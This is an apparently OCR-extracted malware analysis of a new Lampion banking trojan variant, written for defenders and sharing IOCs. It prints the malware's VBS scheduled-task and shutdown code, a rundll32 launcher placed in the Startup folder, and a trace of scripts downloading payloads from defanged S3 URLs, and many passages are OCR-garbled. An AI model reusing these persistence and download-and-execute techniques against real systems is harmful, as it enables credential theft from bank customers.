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NEW LAMPION BANKING 30 October 2023
TROJAN VARIANT IN THE WILD

SUMMARY

In a recent assessment we found what appears to be a new 2023 sample of the Lampion banking trojan.

The Lampion banking trojan was first seen in 2019 targeting Portuguese banks and since then has been sighted a few
more times, the last one was last year, 2022.

Its objective, as identified in another analysis, is the theft of credentials by creating an overlay on the legitimate bank
website when the user connects to it:

Nome do Utilizador

Figure 1. Image from https://securityaffairs.co/128975/malware/hidden-c2-lampion-trojan-release-212.html

In this analysis, we are going to look at its new infection methodology and relevant I0Cs.

This malware tries to avoid detection by using known providers to host malware files, scheduled tasks to execute
visual basic scripts, large files (dlls with more than 700MB and vbs scripts with more than 60MB) to avoid sandbox
analysis and use the Windows startup feature to extract and execute the trojan.
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The methodology can be summarized in the next image:

1. Phishing email links to 2. Zip file contains 2 similar vbs
wetransfer scripts
o [
Phishing email wetransfer.com Zip file VBS scripts 3.vbs script creates 3
more vbs scripts
H
& T =
«—1 s s?
encrypted zip file
DLL Lampion trojan Amazonaws.com
5. Downloaded dll extracts E
Lampion trojan and executes it DLL file:
4. vbs script downloads
encrypted zip and dil .cmd file

Figure 2. Infection methodology

10Cs

# Email sender

From: Xxxx <xxx@example.com>

# Email subject

Subject: Envio os documentos e comprovativo de pagamento.

# URLs

# Email URL

hxxps://we.tl/t-n3xfGBxksT

# Email URL redirected
hxxps://wetransfer.com/downloads/b7bc@df27446f2631347b88afe-
fe0c1820231017205830/9b8acl

# Encrypted zip file
hxxps://justlookaround.s3.amazonaws.com/soprateste.zip
# dl1 de 790MB
hxxps://justlookaround.s3.amazonaws.com/poiiuyetr

# File Hashes

# MD5
9c771d15e7bc6a750c7355bc4cc9e403
c4a6694925248ddf75d28491f54601320
€c33204558390a8b5fa32a7fel15141014
38a996533697a5el17ele7e9b32ecl16e9
5feb6bde72978cadbf06659506a4ab8d
9c5b05e761e0d058f41ate733e1025F8

LAYERS [@e0) 2



25ca63d94eb392995631a51986c9al7b

#

ab51f4b7d7180d459a58a9d1e13b1140ba201873
7849a278fa962d6ead4aa51c0587494ad910c873a
7849a278fa962d6ead4aa51c0587494ad910c873a
fel3fb3abft5ee184d87d49160bb9932ceca24782
3t13bc906d7d231720eac8b606515e09ae22e1d9
€9372d981114617c42tbcf84falb8a2ce0201fd5
968419fdf5c8fdadd2ef5efdofd7c8beb7a82d53

#

SHA1

Lampion DLL Strings

DoThisBicht
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TECHNICAL ANALYSIS
FIRST STAGE

The attack starts with the reception of a phishing email linking to a wetransfer short link:

From

-8

Subject Envio os documentos e comprovativo de pagamentao.

(Eng. Agricola | Sdcio-Gerente)

ATENgﬂD:Eﬂarnensagemten1oﬁgen1EKTERNA

Boa noite, junto envio o comprovativo de pagamento e os documentos no Iinl{
Cumprimentos,

Por favor ndo clique em ligacd

: hitps://we.tl/t-n3»

Figure 3. Phishing email

This is a compressed zip file with two files contained within:

Figure 4. First stage files contained in the downloaded zip
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These are obfuscated vbs files with a lot of noise, presumably to increase its size and make it difficult to analyze with
automatic malware analyzers.
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Figure 5. Obfuscated first stage script

After cleaning the junk lines, both files contain the same code.

When executed, this script creates three other vbs scripts:

esktop+ cript.exe eane
indows ipt Host Version
rosoft oration. All

path
pair

Figure 6. New files created by the first stage script

Let's call them a.vbs, b.vbs and c.vbs in the order they have been generated.

It will also create two scheduled tasks to call these scripts.The first scheduled task will call script a.vbhs and the
second one will call c.vbs:

T T 7 VI GO VAKUTOVGELS
obj_. sc'led servicel - _triggers_ tIlggEIl E'ld“u.mde.ry xngOwO“;O}-hY\"{lsX‘YACwLbGGJJ-](:UD\..ZxE‘(DICIFQg‘S»Ap'lZWE
obj_sched servicel triggers_triggerl.ExecutionTimeLimit = Chr(80) & Chr(84) & Chr(53) & Chx(77)
obj_sched servicel_triggers_triggerl.Id = random string(1l2)
obJj_sched servicel_triggers_triggerl.Enabled = Trus
Dim obj_sched servicel actions_actionl
Set obj_sched servicel actions_actionl = obj_sched servicel_task.Actions.Create( value_false )

ates a sch ule task to execut irst file at pathl
obJ_ sc:'ued servicel actions_actionl.Path str_pathl
Rem Call _!'l*ﬂ'\‘.k’l EFz KEKUfmpBghRuYVImgUr cdPPax.RegisterTaskDefinition

]F:mc:t,:.on fun_construct_time_ string(param date)
Diim PN e U AT A DT T b DN 2 B AT e T 7 T 2w £ 0~ TTHACE 2 £ AT A0 2 THDATTHEANS A Tehn X rd e P WOT S S e N IO E I AER A ara T TE  DinhaTWTT

Figure 7. First scheduled task creation
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obj_datez = Datehdd("n", 30, Now) -

str_date? 1 — fun comstruct time string(obj_date?)

obi_sched _service2 task triggers triggerl.StartBoundary — str_datel
obi_sched_service2_task_triggezs_triggesl.EndBoundary — str_date2_l
obj_sched_serviceZ_task_triggers_triggerl.ExecutionTimelimit = Chz(80) & Chz(84) & Chx(53) & Chz(77)
obj_sched_service2_task_triggers_triggezl.Id = random_string(14)
obj_sched_serviceZ_task_triggers_triggerl.Enabled = Trus

Dim obj_sched service2_task_actions_actionl

Set obj_sched service2 task actions_actionl = obj_sched service2 task.Actions.Create( value false2 )
Rem creates a schedule task to execute the first file at path3

obj_sched service2 task actions actionl.Path — obj_file path3

Rem Call Y1MWAlglXrZDrSixiIYPHeRSjnSNwFDuahnasKoneHYqGwERUTIDEdmcUcoNUdnRncbIeIET.RegisterTaskDefinition (random string(13), obj_sched servicez task, 6, , , 3)

Figure 8. Second scheduled task creation

With these files and scheduled tasks created we have the ending of the first stage.

SECOND STAGE
a.vbs

MD5: ¢33204558390a8h5fa32a7fe15141014 SHAT: fe13fb3abfbee184d87d49f60bb9932ceca24782 size: ~1KB

This script will be called by one of the scheduled tasks and will sleep for 10 minutes and then execute a forced shut-
down:

Set RogsSgPnvFoZDtgnWfbc = CreateObject("WScript.Shell™)
WScript.Sleep(600088)

Set OpSysSet = GetObject("winmgmts:{authenticationlevel=Pkt,"

& "(Shutdown)}™).ExecQuery({"select * from Win32 OperatingSystem where
& "Primary=true")

for each OpSys in OpSysSet

retVal = OpSys.Win325hutdown(6}

next

[j¢]

Figure 9. Contents of a.vhs

VirusTotal identifies this script as belonging to a trojan called Valyria, known to be used to drop malware like Emotet,
Agent Tesla, Lokibot, and Kriptik, among other :
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1 5 \ (1) 15 security vendors and no sandboxes flagged this file as malicious (*Reanalyze = Similar ~ More -
\’:“/ 3cb9bB29a45dcd55417ca05535313e254516fcicad56d0e4fddd9al95937i16a Size Last Analysis Date D
qrhsjvhtjilvbs 3068 & daysago

vba run-file create-cle

Community Score

DETECTION DETAILS RELATIONS COMMUNITY 2

Join the VT Community and enjoy additional community insights and crowdsourced detections, plus an APl key to automate checks.

Popular threat label (1) trojan.valyria Threat categories  trojan Family labels valyria

Security vendors' analysis (i) Do you want to automate checks?
AlYac (D VB:Trojan.Valyria.8555 Arcabit (D VB:TrojanValyria.D216B

BitDefender (D VB:Trojan.Valyria.8555 Emsisoft @ VB:Trojan Valyria.8555 (B)

eScan (D) ve:Trojan Valyria 8555 ESET-NOD32 (D) vesiagentGGM

GData @ VB:Trojan.Valyria.8555 Google CD Detected

Figure 10. a.vbs VirusTotal summary

c.vbs
MD5: d9ffed9cTe7fa4102d3d23e2c52f3d5H2 SHAT: 1df5bc903cf9e9abe04db7334f28a0477be0d0cO size: ~1KB

This script will be called by the other scheduled task and will call the b.vbs script:

Dim
QOMAeeTagHgaYGvfLGzGLOSIQwSWzDSuodrRKuHASmE rOwl jOIfnVxBTwB 10l cdpnnuPdGOwxPY1KvR
0h3J

Set
QOMAeeTagHgaYGvfLGzGLOSIQwSWzDSuodrRKuHASmE rOwl jOIfnVxBTwB 10l cdpnnuPdGOwxPY1KvR
0h] = Wscript.CreateObject("WScript.Shell™)
QOMAeeTagHgaYGvfLGzGLOSIQwSWzDSuodrRKuHASmE rOwl jOIfnVxBTwB 10l cdpnnuPdGOwxPY1KvR
OhJ.Run """C:\Users\User\AppData\Local\Temp\hegxtkwlhpw.vbs™""

Set
QOMAeeTagHgaYGvfLGzGLOSIQwSWzDSuodrRKuHASmE rOwl jOIfnVxBTwB 10l cdpnnuPdGOwxPY1KvR
0hJ = Nothing

Figure 11. Contents of c.vbs

This script's hash is not relevant since the path to the script is a random string generated at runtime, but the variable
names are static.
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b.vbs

MD5: 38a996533697abe17e1e7e9b32ec16e9 SHAT: 3f13bc906d7d231720eac8b606515e09ae22e1d9 size: ~15MB
This script will be called by e.vbs script.

This script is also filled with junk lines, and after cleaning it, it contains ~20KB of data.

In VirusTotal it is also identified as belonging to Valyria:

1 o ‘ @ 10 security vendors and no sandboxes flagged this file as malicious (* Reanalyze == Similar - More ~
K 160 ) €26688d3764635a9¢20c9c76d8cac529a30dd0053419132825591538116737¢6 Size Last Analysis Date =
gnlozxpkqvn.vbs 14.89 MB 6 daysago TXT

text  checks-network-adapters  long-sleeps

Community Score

DETECTION DETAILS RELATIONS BEHAVIOR COMMUNITY

Join the VT Community and enjoy additional community insights and crowdsourced detections, plus an API key to automate checks.

Popular threat label (D trojan.valyria Threat categories  trojan Family labels valyria

Security vendors' analysis (0) Do you want to automate checks?
AlYac (D VB:TrojanValyria.8303 Arcabit (D VB:TrojanValyria.D206F

BitDefender (D VB:TrojanValyria.8303 Emsisoft (D VB:TrojanValyria.8303 (B)

eScan (D VB:TrojanValyria.8303 GData (D VB:TrojanValyria.8303

Kingsoft (D Script.Ks.Malware.2147 MAX (D Malware (ai Score=83)

Trellix (FireEys) (D) VBiTrojanValyria 8303 VIPRE (D) vB:TrojanyValyria 8303

Figure 12. b.vbs VirusTotal summary

Hooking its function and adding a like debugging code, we can see what it is doing:

random string: wmicppkygjf
random string: iphvvrhdyfjfjppqv

delete path: StartUp\*.1lnk
delete path: StartUp\*.vbs
delete path: StartUp\*.cmd
delete path: StartUp\*.exe
delete path: StartUp\*.bat
delete path: StartUp\*.js

delete path: StartUp\*.vbs

random string: oujryzxdpbrsbhsyvrh
random string: gijgktpbpnpkrcswgreeke

create folder: MyDocuments/oujryzxdpbrsbhsyvrh
create folder: MyDocuments/oujryzxdpbrsbhsyvrh/gijgktpbpnpkrcswgreeke

random string: rdkuoirzqqqukztwrpywosluqgcnaqgziafygemfmogmafxbypouwpecqutk-
wvrwhklczetnyaoowno
random string: kqggecpngohp
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SpecialFolders : C:\Users\User\Documents\oujryzxdpbrsbhsyvrh\gijgktpbpnp-
krcswgreeke\rdkuoirzqqqukztwrpywoslugcnaqgziafygemfmogmafxbypouwpecqutkwvr-
whklczetnyaoowno.dll

SpecialFolders : C:\Users\User\AppData\Roaming\$kqgecpngohp#.zip

decrypted string: ?=

random string: mxnffbadjylwspwrydytdorvorukiclvzsbwrkdoysydsgu

decrypted string: ?=

random string: ycvcjbhxsdekedelbvmreggrrmoecnouoryghsjsjyowwujrygd

decrypted string: hxxps://justlookaround.s3.amazonaws.com/soprateste.zip
decrypted string: hxxps://justlookaround.s3.amazonaws.com/poiiuyetr

random string: wcwcwgxhyvb
CreateTextFile: C:\Users\User\AppData\Roaming/wcwcwgxhyvb.parvos
random string: dtncoxfwxcc

MoveFile: C:\Users\User\AppData\Roaming/wcwcwgxhyvb.parvos to StartUp/dtn-
coxfwxcc.cmd

random string: xtyovgshtvq

Called fun_use_xmlhttp with params: hxxps://justlookaround.s3.amazonaws.com/
soprateste.zip?=mxnffbadjylwspwrydytdorvorukiclvzsbwrkdoysydsgu & C:\Users\
User\AppData\Roaming\$kqggecpngohpi#.zip

Called fun_use_xmlhttp with params: hxxps://justlookaround.s3.amazonaws.com/
poiiuyetr?=ycvcjbhxsdekedelbvmreggrrmoecnouoryghsjsjyowwujrygd & C:\Users\
User\Documents\oujryzxdpbrsbhsyvrh\gijgktpbpnpkrcswgreeke\rdkuoirzqqqukzt-
wrpywoslugcnaqgziafygemfmogmafxbypouwpecqutkwvrwhklczetnyaoowno.dll

obj _mxsml xmlhttp.setOption: 13056

GetFolder: MyDocuments\oujryzxdpbrsbhsyvrh
Move: AppDatal\oujryzxdpbrsbhsyvrh

Analysing its output, we can see what it is doing: cleaning the Startup directory, then creating a.cmd file in the Start-
up folder, downloading from two URLsa zip file and a dll file:

hxxps://justlookaround.s3.amazonaws.com/soprateste.zip?=psjuckbzhacmcykmlufdgbedaxvxalyriyggftcnmwhrfhf

hxxps://justlookaround.s3.amazonaws.com/poiiuyetr?=ahzIznnvglmubebwpgwjgalphpkyzphrtmervggofigxwjqyznz

The first, we will call it soprateste.zip is a password protected zip file and the second, let's call it a.dll, is a library file.
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The .cmd file, from now called a.cmd, executes the downloaded malware dll, calling the function “MfS3onjYAZRDZd-
Qy3v9":

@echo off

START /B C:‘\Windows\System32irundll32.exe
"C:\Users\User\AppData‘\Roaming\eyrmkzwdtdsxxmggmvp\xmrbwtpbtpgpohgoxvmzyy\ihspa
igyusqygesoitggbmdgfzffnmtkmxobpoyhildgwtblrkbusedkpwifcriiyzibvegtrdckfh.d11”
MfS3onjYAZRDZAQy3vo

exit

Figure 13. a.cmd file contents

Here we have a hint of it being the Lampion trojan, as the soprateste.zip file name has already showed up in other
analysis.

We can also infer its creators are Portuguese speaking, because like in previous analysis, there are some Portuguese
common words in the code.In this case we have the name of the zip file, soprateste, meaning “only for testing” and
also the name of the .cmd file before being moved to the Startup folder, “C:\Users\User\AppData\Roaming/wcwcwgx-
hyvb.parvos", where .parvos roughly translates to “idiots/fools”.

This file is put under the Startup folder so that it is activated when the computer starts, this file pairs with the a.vbs
script which sleeps for 10min and then shuts down the computer.

With the call to the downloaded a.dll, we enter the third stage.

THIRD STAGE

The third stage is where the Lampion trojan will be extracted and executed by the files used in the second stage.

So, let's analyze the last two downloaded files, soprateste.zip and a.dll

a.dll

md5: 5feb6bde72978cadbf06659506a4ab8d shal: c9372d9811146f7c42fbcf84fa1b8a2ce0201fd5 size: 792 MB
This is a huge file, probably to avoid sandbox detection.

At the time of writing, there were no VirusTotal hits for this file as it is larger than the size permitted to upload.

We can see that in the exported functions of the dll, the “MfS3onjYAZRDZdQy3v9" function, called by the a.emd script,
s present:
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TTTOCT =TT = T

= [%] File: mal.dl -
Characteristics 0025F000 Dword 00000000

— (=] Dos Header

[Z] Mt Headers TimeDateStamp 0025F004 Dword 00000000
[Z] File Header . .
5] Optional Header MajorVersion 0025F008 Word 0000
[Z] Data Directories [x] MinorVersion 0025F00A Word 0000

— =] Section Headers [x]
Mame 0025F00C Dword 00264050

— (£ Export Directory

— ‘ﬁ.ﬂdr.l’eu Converter Base 0025F010 Dword 00000001

— % Dependency Walker NumberOffunctions 0025F014 Dword 00000004

— ), Hex Editor

— ibugﬁﬁer MNumberOfMames 0025F018 Dword 00000004

— b Import Adder AddressOfFunctions 0025F01C Dword 00264028

— %%, Quick Disassembler

| %, Rebuilder AddressOfNames 0025F020 Dwaord 00264038

— %) Resource Editor AddressOfNameOrdinals 00264048

L— &, UPX Utility
Ordinal Function RVA | Name Ordinal | Name RVA
N/A 0025F034 0025F04E 0025F038 0025F050
(nFunctions) Dword Word Dword szhnsi
00000001 00261640 0000 00264044 dbkFCallWrapperAddr
00000002 000110C0 0001 00264000 __dbk_feall_wrapper
00000003 00066BD4 0002 00264071 TMethodlmplementationintercept
00000004 002466BC 0003 0026A05D MfS3onYAZRDZdQy3va

Figure 14. a.dll exported functions

soprateste.zip
md5: 9c5b05e761e0d058f41afe733e1025f8 shal: c9c3daaeb659¢73729f321437a548bc39¢897dch size: ~12 MB

This is a password protected file containing a single file with ~12MB:

MName Size Packed Size

| xiRE, ZR0EEN, R EOAR, T 0 mENTH RN 12082 688 11739083

Figure 15. file contained in password protected zip file

The filename is in chinese and translates to:

Chinese (Traditional) - Detected English Spanish French ~ Ping English Spanish Arabic ~

FiRE . XEBHE - EEBANEE  ZARSHEN X Beautiful day, sunny weather, poolside beer and BBQ, v
LHERERNBER family moved me God protects my allies

Tian hén méi, tiangi qinglang, chipan pijid hé shaokao, jiarén gandong wo de shangdi baohl

wd de méngydu

Look up details Look up details

0 o) /5000 D) 0 & <

Figure 16. Translation to English of the contained file name

But translating it to Portuguese, we can see that it is part of the lyrics to a song about the “wild life", or Vida Louca,
pointing to the gangster culture in Brazil:
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Chinese (Traditional) - Detected English Spanish French v g

FiRE - AREH  OHEEAEE  RAREBHMN X
LERERNER

Tian hén méi, tiangi qinglang, chipan pijid hé shaokao, jiarén gandong wd de shangdi baohi
wo de méngydu

LD 31/5000

Portuguese English Spanish v

Dia lindo, tempo ensolarado, cerveja na beira da T
piscina e churrasco, familia me emocionou Deus
protege meus aliados

Look up details
D) D & <

Send feedback

Figure 17. Translation to Portuguese of the contained file name

Thus, making one more connection to the Lampion trojan and its Brazilian origin.

In VirusTotal this hash is known, but not identified as malicious:

@ No security vendors and no sandboxes flagged this file as malicious
93b1116474162655012d1774bcdabb44c9115039530a06727d3f5e7ccc 20760
soprateste.zip

zip  encrypted

Community Score

DETECTION DETAILS RELATIONS COMMUNITY

( Reanalyze == Similar = More -

Size Last Analysis Date "
11.20 MB 5 days ago ZIP

Figure 18. VirusTotal summary of the password protected zip file

This file contained in the soprateste.zip is the Lampion trojan and it is, probably, extracted by the a.dll file when

executed.

Lampion trojan

mdb: 25ca63d94eb39299563fa51986¢9a17b shal: 968419fdfbc8fdadd2efbefd0fd7c8beb7a82d53 size: ~12MB

At the time of writing, there were no VirusTotal hits for this file.

When analyzing this file, we encountered two string indicators of this being the Lampion trojan, since it is using
VMProtect to prevent common reversing techniques and we found the uncommon exported function “DoThisBicht”:
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Detect It Easy v3.01

File name

PE32

PE
Sections
000c >
Scan
Detect It Easy(DiE)
protector

linker

iextracted_mal.dll

Entry point Base address

05ch07c3 = Disasm
Export Impart

TimeD

Endianness Mode

LE 32

VMProtect(1.60-2.03)[-]
Turbo Linker(2.25%, Delphi)[DLL32]

MIME

Memory map
L Hash

Strings

Version

Type
DLL

l']|:|t|| NS

About
E wit

Figure 19. VMProtect detection of the Lampion trojan

index

LT=J = - R R = T e

Fud B P —b b bk b kb
UJRj—lGanﬁ-Jmm-th—lG

name (23] flag (0)

CallFormPrincipal
CryptUIDIgCertMgr

DoThisBicht
FilterConnectComrmunicati...
FilterSendMessage
GetFileVersionlnfof
GetFileVersionInfoSized
GetFileVersicnInfoSizelW
GetFileVersionlnfoW
GetFileVersionlnfoWW
GetMappedFileMameW
SHGetFolderPathW
TMethodlmplementationlnt...
VerQuenyWalued,
VerCQuenValueW
WhetAddConnection2 A
WhetAddConnection2W
WhetCancelConnectiondW
WhetGetConnectionW
WhetUseConnectionW
dbk fcall wrapper
dbkFCallWrapperAddr

dup

Figure 20. Lampion trojan exported functions
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Contrary to previous analysis, strings matching bank names were not found, although they may have been encrypted.

CONCLUSIONS

Through our analysis, we were able to find many similarities with the indicators exposed in previous analysis of the
Lampion trojan.

So we believe this a new variant that is currently being distributed and we supply the I0Cs and methodology used by
the malware so others can benefit from it.
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